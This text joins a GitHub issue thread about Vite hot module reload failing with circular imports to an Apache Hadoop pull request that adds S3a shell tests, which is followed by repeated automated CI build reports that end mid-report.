- [X] The provided reproduction is a [minimal reproducible example](https://stackoverflow.com/help/minimal-reproducible-example) of the bug.

I am also having this issue! Using 4.4.2 in a project I haven't touched in awhile, come back to it and HMR is not working at all. It's also having issues with "cannot find named export XXXX in file src/pages/xxx.js" when it's clearly there.

I see circular imports when running yarn dev --debug hmr, so I would guess that's a part of the issue.
  vite:hmr circular imports detected: /src/lite/views/Collection/DragAndDrop/useAnimationStyling.tsx -> /src/lite/views/Collection/DragAndDrop/DragAndDropGrid.tsx -> /src/lite/views/Collection/DragAndDrop/DNDVirtualRow.tsx -> /src/lite/views/Collection/DragAndDrop/DraggableWrapper.tsx -> /src/alignUI/ProductCard/ProductCard.tsx -> /src/lite/views/Collection/DragAndDrop/DragAndDropZones.tsx -> /src/lite/views/Collection/DragAndDrop/useZone.tsx -> /src/lite/views/Collection/DragAndDrop/useAnimationStyling.tsx +1ms
2:47:37 PM [vite] hmr update /src/lite/views/Collection/DragAndDrop/useZone.tsx
2:47:37 PM [vite] hmr invalidate /src/lite/views/Collection/DragAndDrop/useZone.tsx Could not Fast Refresh. Learn more at https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-react#consistent-components-exports
  vite:hmr circular imports detected: /src/lite/views/Collection/DragAndDrop/DragAndDropZones.tsx -> /src/lite/views/Collection/DragAndDrop/useZone.tsx -> /src/lite/views/Collection/DragAndDrop/useAnimationStyling.tsx -> /src/lite/views/Collection/DragAndDrop/DragAndDropGrid.tsx -> /src/lite/views/Collection/DragAndDrop/DNDVirtualRow.tsx -> /src/lite/views/Collection/DragAndDrop/DraggableWrapper.tsx -> /src/alignUI/ProductCard/ProductCard.tsx -> /src/lite/views/Collection/DragAndDrop/DragAndDropZones.tsx +33ms
2:47:37 PM [vite] hmr update /src/lite/views/Collection/DragAndDrop/DragAndDropZones.tsx

In the past, circular import was triggering full reload, but that seems relaxed in https://github.com/vitejs/vite/pull/15118
If I add a log during import, then it always shows up, but not the one inside hook (meaning there's no re-rendering), so this could be an issue/limitation of React plugin specifically.
//// src/lite/views/Collection/DragAndDrop/useAnimationStyling.tsx
import { dndGridClass } from "./DragAndDropGrid";

console.log("[import]", Date.now(), dndGridClass);

export function useAnimationStyling() {
  console.log("[hook]", Date.now(), dndGridClass);
}

I have also been experiencing this for a while. The HMR in a Vue project is very inconsistent and a change usually breaks the app, requiring a full reload.

if any of your dependency is built from virtual module,  we might have this problem.  see other discussion in #12912

For some reason I'm seeing this recently but only in Safari. No circular imports, it does hot reload (Safari console says it accepts), but for some reason no change. Likely unrelated to this, maybe even a new Safari bug, but just noting for anyone else if they see it too.


HADOOP-13294. Test hadoop fs shell against s3a

Description of PR
There's no tests of hadoop -fs commands against S3a. With some tests we can see problems when using these commands with S3a (HADOOP-13294).
From the command list in FileSystemShell, I added tests for each of them, verify expected output from stdout, stderr and return code. Some tests might be a bit long because I'm trying to group the commands and run them together so it won't take too long.
Changes

Adding hadoop -fs commands test for S3a

How was this patch tested?
Tested in  eu-west-1 with mvn -Dparallel-tests -DtestsThreadCount=16 clean verify
[INFO] Results:
[INFO]
[WARNING] Tests run: 1070, Failures: 0, Errors: 0, Skipped: 185
[INFO] Results:
[INFO]
[WARNING] Tests run: 108, Failures: 0, Errors: 0, Skipped: 68

For code changes:

[x] Does the title or this PR starts with the corresponding JIRA issue id (e.g. 'HADOOP-17799. Your PR title ...')?
[x] Object storage: have the integration tests been executed and the endpoint declared according to the connector-specific documentation?
[x] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?
[x] If applicable, have you updated the LICENSE, LICENSE-binary, NOTICE-binary files?

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 58s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+1 :green_heart:
mvninstall
35m 16s

trunk passed

+1 :green_heart:
compile
0m 42s

trunk passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
0m 34s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
0m 25s

trunk passed

+1 :green_heart:
mvnsite
0m 41s

trunk passed

+1 :green_heart:
javadoc
0m 22s

trunk passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 29s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
1m  5s

trunk passed

+1 :green_heart:
shadedclient
23m 34s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
0m 34s

the patch passed

+1 :green_heart:
compile
0m 36s

the patch passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
0m 36s

the patch passed

+1 :green_heart:
compile
0m 28s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
0m 28s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

-0 :warning:
checkstyle
0m 16s
/results-checkstyle-hadoop-tools_hadoop-aws.txt
hadoop-tools/hadoop-aws: The patch generated 2 new + 0 unchanged - 0 fixed = 2 total (was 0)

+1 :green_heart:
mvnsite
0m 33s

the patch passed

+1 :green_heart:
javadoc
0m 16s

the patch passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 23s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
1m  7s

the patch passed

+1 :green_heart:
shadedclient
23m 10s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
2m 37s

hadoop-aws in the patch passed.

+1 :green_heart:
asflicense
0m 30s

The patch does not generate ASF License warnings.

95m 16s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle codespell

uname
Linux 5d03c0fc9a14 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 95f993e953306d0df64ed761a4c34b6b68fa91e7

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/1/testReport/

Max. process+thread count
519 (vs. ulimit of 5500)

modules
C: hadoop-tools/hadoop-aws U: hadoop-tools/hadoop-aws

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/1/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 45s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+1 :green_heart:
mvninstall
35m 39s

trunk passed

+1 :green_heart:
compile
0m 52s

trunk passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
0m 32s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
0m 25s

trunk passed

+1 :green_heart:
mvnsite
1m  8s

trunk passed

+1 :green_heart:
javadoc
0m 24s

trunk passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 35s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
1m  8s

trunk passed

+1 :green_heart:
shadedclient
20m 18s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
0m 36s

the patch passed

+1 :green_heart:
compile
0m 35s

the patch passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
0m 35s

the patch passed

+1 :green_heart:
compile
0m 30s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
0m 30s

the patch passed

+1 :green_heart:
blanks
0m  1s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
0m 18s

the patch passed

+1 :green_heart:
mvnsite
0m 34s

the patch passed

+1 :green_heart:
javadoc
0m 18s

the patch passed with JDK Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 25s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
1m  6s

the patch passed

+1 :green_heart:
shadedclient
20m  5s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
2m 24s

hadoop-aws in the patch passed.

+1 :green_heart:
asflicense
0m 33s

The patch does not generate ASF License warnings.

90m 14s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/2/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle codespell

uname
Linux f958e4cb16fe 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 4cf53e0c3dd6c8f3903a47773bc2e2f64d85e14a

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.13+8-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/2/testReport/

Max. process+thread count
698 (vs. ulimit of 5500)

modules
C: hadoop-tools/hadoop-aws U: hadoop-tools/hadoop-aws

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/2/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 50s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
12m 25s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
25m 56s

trunk passed

+1 :green_heart:
compile
24m 29s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
compile
21m 18s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
3m 48s

trunk passed

+1 :green_heart:
mvnsite
7m 51s

trunk passed

+1 :green_heart:
javadoc
6m 19s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
7m 34s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
12m 32s

trunk passed

+1 :green_heart:
shadedclient
23m 50s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 22s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m  0s

the patch passed

+1 :green_heart:
compile
24m  2s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javac
24m  2s

the patch passed

+1 :green_heart:
compile
21m 12s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
21m 12s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
3m 54s

the patch passed

+1 :green_heart:
mvnsite
7m 46s

the patch passed

+1 :green_heart:
xml
0m 10s

The patch has no ill-formed XML file.

+1 :green_heart:
javadoc
6m 17s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
7m 32s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
14m 16s

the patch passed

+1 :green_heart:
shadedclient
23m 40s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
17m 41s

hadoop-common in the patch passed.

-1 :x:
unit
343m 50s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs.txt
hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
43m 46s

hadoop-distcp in the patch passed.

-1 :x:
unit
31m 58s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs-rbf.txt
hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
0m 42s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
3m  1s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 10s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
0m 41s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m  0s

The patch does not generate ASF License warnings.

710m 22s

Reason
Tests

Failed junit tests
hadoop.hdfs.server.mover.TestMover

hadoop.hdfs.server.namenode.ha.TestSeveralNameNodes

hadoop.hdfs.rbfbalance.TestRouterDistCpProcedure

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/3/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux 7d82ff3fb5de 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / baedcb0ccf3d736ce1d2de3701dbbd8be577b347

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/3/testReport/

Max. process+thread count
2429 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/3/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 53s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
12m 39s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
26m  9s

trunk passed

+1 :green_heart:
compile
24m 44s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
compile
21m 16s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
3m 49s

trunk passed

+1 :green_heart:
mvnsite
7m 48s

trunk passed

+1 :green_heart:
javadoc
6m 16s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
7m 34s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
12m 32s

trunk passed

+1 :green_heart:
shadedclient
23m 56s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 22s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m  0s

the patch passed

+1 :green_heart:
compile
24m  5s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javac
24m  5s

the patch passed

+1 :green_heart:
compile
25m 42s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
25m 42s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
4m 12s

the patch passed

+1 :green_heart:
mvnsite
7m 54s

the patch passed

+1 :green_heart:
xml
0m  9s

The patch has no ill-formed XML file.

+1 :green_heart:
javadoc
6m 14s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
7m 37s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
15m  6s

the patch passed

+1 :green_heart:
shadedclient
25m 50s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
17m 42s

hadoop-common in the patch passed.

+1 :green_heart:
unit
317m 10s

hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
43m 36s

hadoop-distcp in the patch passed.

-1 :x:
unit
31m 54s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs-rbf.txt
hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
0m 45s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
2m 59s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 11s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
0m 39s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m 12s

The patch does not generate ASF License warnings.

692m 21s

Reason
Tests

Failed junit tests
hadoop.hdfs.rbfbalance.TestRouterDistCpProcedure

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/4/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux 6307b35d1dea 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / a8668b9e479e04052a2619da2ac1f79293c27a10

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/4/testReport/

Max. process+thread count
2465 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/4/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 54s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 47s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
28m 10s

trunk passed

+1 :green_heart:
compile
24m 34s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
compile
21m 16s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
3m 59s

trunk passed

+1 :green_heart:
mvnsite
7m 51s

trunk passed

+1 :green_heart:
javadoc
6m 57s

trunk passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
8m 28s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
13m 58s

trunk passed

+1 :green_heart:
shadedclient
23m 57s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 23s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m  3s

the patch passed

+1 :green_heart:
compile
23m 55s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javac
23m 55s

the patch passed

+1 :green_heart:
compile
21m  5s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
21m  5s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
3m 46s

the patch passed

+1 :green_heart:
mvnsite
7m 48s

the patch passed

+1 :green_heart:
xml
0m 10s

The patch has no ill-formed XML file.

+1 :green_heart:
javadoc
6m 18s

the patch passed with JDK Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04

+1 :green_heart:
javadoc
7m 36s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
14m 19s

the patch passed

+1 :green_heart:
shadedclient
24m  4s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
17m 43s

hadoop-common in the patch passed.

+1 :green_heart:
unit
332m 49s

hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
43m 22s

hadoop-distcp in the patch passed.

-1 :x:
unit
32m 39s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs-rbf.txt
hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
0m 45s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
2m 52s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 11s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m  2s

The patch does not generate ASF License warnings.

709m  9s

Reason
Tests

Failed junit tests
hadoop.hdfs.rbfbalance.TestRouterDistCpProcedure

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/5/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux 0f555dc88ef1 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 9ca8e5fcdb9d8f4dda0281d4908e9e165ef96ca8

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.14+9-Ubuntu-0ubuntu2.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/5/testReport/

Max. process+thread count
2479 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/5/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
18m  0s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
16m  1s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
28m  2s

trunk passed

+1 :green_heart:
compile
24m 47s

trunk passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
21m  6s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
3m 58s

trunk passed

+1 :green_heart:
mvnsite
7m 49s

trunk passed

+1 :green_heart:
javadoc
6m 20s

trunk passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
7m 38s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
12m 49s

trunk passed

+1 :green_heart:
shadedclient
23m 43s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 52s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m  8s

the patch passed

+1 :green_heart:
compile
24m 10s

the patch passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
24m 10s

the patch passed

+1 :green_heart:
compile
21m 11s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
21m 11s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
3m 47s

the patch passed

+1 :green_heart:
mvnsite
7m 44s

the patch passed

+1 :green_heart:
xml
0m 10s

The patch has no ill-formed XML file.

+1 :green_heart:
javadoc
6m 14s

the patch passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
7m 38s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
14m 13s

the patch passed

+1 :green_heart:
shadedclient
23m 54s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
17m 38s

hadoop-common in the patch passed.

+1 :green_heart:
unit
313m 29s

hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
42m 25s

hadoop-distcp in the patch passed.

+1 :green_heart:
unit
31m 11s

hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
0m 42s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
2m 52s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 10s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
